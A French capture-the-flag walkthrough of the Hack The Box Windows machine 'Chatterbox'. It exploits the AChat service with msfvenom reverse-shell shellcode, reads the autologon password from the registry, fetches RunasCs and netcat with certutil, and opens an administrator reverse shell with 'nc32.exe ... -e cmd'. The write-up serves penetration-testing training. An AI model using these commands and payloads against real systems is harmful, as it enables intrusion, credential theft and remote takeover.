# Chatterbox

`AChat` `autologon`

* Nom machine : Chatterbox
* Difficulté : Moyenne
* OS : Windows

## Enumération

### NMAP

```
PORT      STATE SERVICE      REASON  VERSION
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         syn-ack AChat chat system httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
9256/tcp  open  achat        syn-ack AChat chat system
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows
```

## Accès initial

### AChat chat system

{% embed url="<https://github.com/mpgn/AChat-Reverse-TCP-Exploit>" %}

```
┌──(kali㉿kali)-[~/htb/chat]
└─$ git clone https://github.com/mpgn/AChat-Reverse-TCP-Exploit.git
Cloning into 'AChat-Reverse-TCP-Exploit'...
remote: Enumerating objects: 24, done.
remote: Total 24 (delta 0), reused 0 (delta 0), pack-reused 24 (from 1)
Receiving objects: 100% (24/24), 7.78 KiB | 7.78 MiB/s, done.
Resolving deltas: 100% (9/9), done.
┌──(kali㉿kali)-[~/htb/chat]
└─$ ls
AChat-Reverse-TCP-Exploit
┌──(kali㉿kali)-[~/htb/chat]
└─$ cd AChat-Reverse-TCP-Exploit
┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit]
└─$ ls
AChat_Exploit.py  AChat_Payload.sh  README.md
```

Nous allons tout d'abord créer notre charge utile grâce au script bash. Le script utilise meterpreter.

```
┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit]
└─$ ./AChat_Payload.sh     
RHOST: 10.10.10.74
LHOST: 10.10.14.12
LPORT: 135
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 876 (iteration=0)
x86/unicode_mixed chosen with final size 876
Payload size: 876 bytes
Final size of python file: 4318 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
buf += b"\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68"
{...}
```

Nous pouvons maintenant modifier le script python puis l'exécuter. Attention à également modifier "server\_adress" pour y ajouter celle de la cible.

Nous avons lancer un listeneur msfconsole mais sans résultat. Nous avons donc changé le payload ...

```
┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit]
└─$ msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.14.12 LPORT=4444 exitfunc=thread -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
{...}
```

```
┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.74] 49202
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
whoami
chatterbox\alfred
```

## Elévation des privilèges

Nous pouvons retrouver le mot de passe du compte administrator.

```
C:\>REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon
    DefaultPassword    REG_SZ    Welcome1!
{...}
```

Nous allons utiliser runas.exe et nc.exe (version 32 bits). Il faut dans un premier temps les télécharger sur la cible.

```
C:\Users\Alfred\Desktop>certutil -f -urlcache http://10.10.14.12:8080/Tools/RunasCs.exe runas.exe
certutil -f -urlcache http://10.10.14.12:8080/Tools/RunasCs.exe runas.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\Alfred\Desktop>certutil -f -urlcache http://10.10.14.12:8080/Tools/nc32.exe nc32.exe
certutil -f -urlcache http://10.10.14.12:8080/Tools/nc32.exe nc32.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\Alfred\Desktop>runas.exe Administrator Welcome1! "nc32.exe 10.10.14.12 4446 -e cmd"
runas.exe Administrator Welcome1! "nc32.exe 10.10.14.12 4446 -e cmd"
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4446
listening on [any] 4446 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.74] 49171
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
chatterbox\administrator
```

Nous sommes administrator !
